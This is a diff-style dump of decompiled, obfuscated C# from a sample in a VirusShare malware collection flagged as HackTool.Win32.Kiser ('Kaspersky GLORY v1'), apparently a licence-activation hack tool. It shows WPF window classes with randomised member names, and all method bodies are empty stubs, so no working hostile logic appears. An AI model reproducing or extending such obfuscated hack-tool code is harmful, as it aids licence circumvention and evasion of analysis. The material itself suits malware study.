internal static object HEvimDf760guc2wKhuR([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static MessageBoxResult iRJCLufXqB32x128SjL(
|
||||
[In] object obj0,
|
||||
[In] object obj1,
|
||||
[In] MessageBoxButton obj2,
|
||||
[In] MessageBoxImage obj3)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl4;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037TqfU4fYxj1qTIHjrgV([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void idjqkhfDqdHBRHlWRNq([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void K4Og3jfZyWM9Ax4x6Gk([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void OWUfYBf2QyoQMTbjTc7([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void rZtIhUf4q0W1RmadjdM([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ObYN6cfNyMYPT3sDLnD([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void mmsJntfv0CNVHrVFeb8([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void fDnMVBf5JfiiZWFhNpY([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Os0pmnfqk5H9AxEs03K([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ly9Zl0fGywBOmX6Yn4o([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void FFsmmpfuEhWIJwYKrwx([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void RBVTslfIp7BYVne728V([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0033cWV1EfoVRp2AxXwR05([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void HKIeEcfzx2wolRq0GeJ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0032VpDDvOxELXL2ddQNwJ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void PtUv7DOsee0DWbcliLt([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void jQBdcFOfW16cuCocyCV([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static KDownloader() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+541
@@ -0,0 +1,541 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.Kactive
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
public class Kactive : Window, IComponentConnector
|
||||
{
|
||||
[AccessedThroughProperty("myTimer")]
|
||||
private Timer \u0038wGy8Btdv;
|
||||
[AccessedThroughProperty("GroupBox1")]
|
||||
private System.Windows.Controls.GroupBox HKGk3cGu3;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private System.Windows.Controls.TextBox \u0034y971Mpj6;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private System.Windows.Controls.Label uiDSJP5K6;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private System.Windows.Controls.Label \u0037wUA3K5FS;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private System.Windows.Controls.Button StWuGHvv3;
|
||||
[AccessedThroughProperty("t1")]
|
||||
private System.Windows.Controls.Label iepZybAkM;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private System.Windows.Controls.Button TJfGoS1Nc;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private System.Windows.Controls.Label JGRWDvPW7;
|
||||
[AccessedThroughProperty("Button3")]
|
||||
private System.Windows.Controls.Button \u0032dt8e7deR;
|
||||
[AccessedThroughProperty("ProgressBar1")]
|
||||
private System.Windows.Controls.ProgressBar H10jte8fr;
|
||||
[AccessedThroughProperty("TextBox3")]
|
||||
private System.Windows.Controls.TextBox SsvY5ygtY;
|
||||
[AccessedThroughProperty("TextBox4")]
|
||||
private System.Windows.Controls.TextBox \u0038xXCMRTUE;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private System.Windows.Controls.TextBox Mnd0ODixC;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private System.Windows.Controls.Label a6BHg7aZl;
|
||||
[AccessedThroughProperty("TextBox5")]
|
||||
private System.Windows.Controls.TextBox \u00305iRvC3Dw;
|
||||
private bool RVCQ5y8jV;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Kactive()
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual Timer myTimer
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void CvmOFuRb7([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void FleVY7hrK([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0039tjPjswKO([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.GroupBox GroupBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.GroupBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.TextBox TextBox2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label t1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.ProgressBar ProgressBar1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.TextBox TextBox3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.TextBox TextBox4
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.TextBox TextBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label4
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.TextBox TextBox5
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037qnmEUq97F9b9hfVf1()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void j2J8HkG4N9EMFRTTSc([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void naI0t2u58jrXLtHJld([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void hdLhDXIEI3EBouDfWq([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void HtD1HeoEt83HvMRkK8([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0032APh7Qz0oWKM6uXE6Q([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool jH3PWCvC3sbrpJSyCD() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool G2mVju5w2HuBW2trig() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void CGyIHfsx63uO0KTJ0ps([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void JUFrF3ssa4gt1c17TEn([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object x0CAMjsf8Txqrnubu4j([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object rubpQFsOiIJhCs7WEHo([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object gmNGUTsQFtQMC795ZJa([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object OGtbeYsWQpLxFvDU8RO([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object eg50TGslo8ctoAaA1fM([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object hvDUdRsy9FLKhHMhekt([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object SSsny3sp1OmpnKXpb3H([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object jd9FYgsBekgycFxC4PZ([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void sVKiPNsn4S2guld6cYs([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object ChHScFsAxXaGWebwESn([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void lQHIUksmnam82fpDgrI([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u00325UZousd60P7w57LKqv([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void oCDtW2sjP4kr1pbyiWl([In] object obj0, [In] Visibility obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void QtYqRWsHJpGnDZpbpiO([In] object obj0, [In] int obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool hSZEDyskCHGjuXANuyw([In] object obj0) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static MsgBoxResult ssjCbysTSr7LbeXfefj(
|
||||
[In] object obj0,
|
||||
[In] MsgBoxStyle obj1,
|
||||
[In] object obj2)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void CpaSfXsh3sy4jjU3ouM([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object PeV2OnsE1lghGOoqkdO([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void wjSid6s1KFuAj4oLqsR([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void vHkF6qs9NeLjSFdFTDW([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static DialogResult eiRiEbswwkwA3NUyj9n([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl3;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0038LiVu8sCTZ9n6uZSvaQ([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object I1pRbSs61mREabrNY45([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool QQxjwaseMEwaBuaolfK([In] object obj0, [In] object obj1, [In] StringComparison obj2) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object HGU2JcsVJWhhupgHmAy([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object qutvG4stfPF09K815Bt([In] object obj0, [In] object obj1, [In] object obj2) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void cKbCJWsUTYwh0aVJwCE([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void RCWwDlsbnZyxCx3gjvI([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void LPYtGZsPMW6w5WaeZN5([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void FnxF2lsr7WCm0fLJs0y([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void LfdCvnscNl4ZZ3KouAv([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void YRSh4qsSOfEbGucIqov([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void oyp2NlsLuZEgMhgJ5hA([In] object obj0, [In] ProcessWindowStyle obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void PU9Ohcsgt04DC5ixTQx([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool hIon8NsK4WwMMop1Ttm([In] object obj0) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0037HQ2pVsRYwFnFRhW1AQ([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void IjanQHsaymuqwRm70sA([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double uPcK6UsF5aXqtFu0SLH([In] object obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void N5SRAXs033cgorTcNH1([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object x9Yx7Us3nZ9LeFaH3Si([In] double obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void AXvjEas84AXaoeoQwpI([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void A1nbbYsMconj9RPieJO([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void jXgx6csJx08D69hqOwv([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void VZZQIxsi8hTVAYOg40O([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void poODeEs7K0ityJ2uf4u([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0039iJcPesXXZuZKWwEwXL([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ebUVursY5UHv5R4KY3T([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void fw84MEsDU4YNGCqs7vM([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void rm71MEsZZSqEnFBlABt([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void IXxFMps2mVNb1wmB1xT([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037Kr8jis4vZq7XjHSXMx([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ix45rlsNMY1IvVnMtBD([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void vPuD0BsvQXIgIv9Bunm([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0032Mnxoys5syiA2Z1xWVW([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void almGJAsqqiHHJMvhEyI([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void DHC3t9sG762WKCdKmDU([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void uGhZpjsuPreGsXYQrJX([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0039sNJyGsIcSpoagh2jDl([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void p0qZREsoiptnmwiEXyU([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static Kactive() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+306
@@ -0,0 +1,306 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.Loading
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
[DesignerGenerated]
|
||||
public class Loading : Window, IComponentConnector
|
||||
{
|
||||
[AccessedThroughProperty("myTimer")]
|
||||
private Timer \u0039tjPjswKO;
|
||||
[AccessedThroughProperty("myTimer2")]
|
||||
private Timer \u0038wGy8Btdv;
|
||||
[AccessedThroughProperty("myTimer3")]
|
||||
private Timer HKGk3cGu3;
|
||||
[AccessedThroughProperty("myTimer4")]
|
||||
private Timer \u0034y971Mpj6;
|
||||
[AccessedThroughProperty("ProgressBar1")]
|
||||
private System.Windows.Controls.ProgressBar uiDSJP5K6;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private System.Windows.Controls.Label \u0037wUA3K5FS;
|
||||
private bool StWuGHvv3;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Loading()
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual Timer myTimer
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Timer myTimer2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Timer myTimer3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Timer myTimer4
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void seWsLuReV([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void CvmOFuRb7([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void ISFmXOES8([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
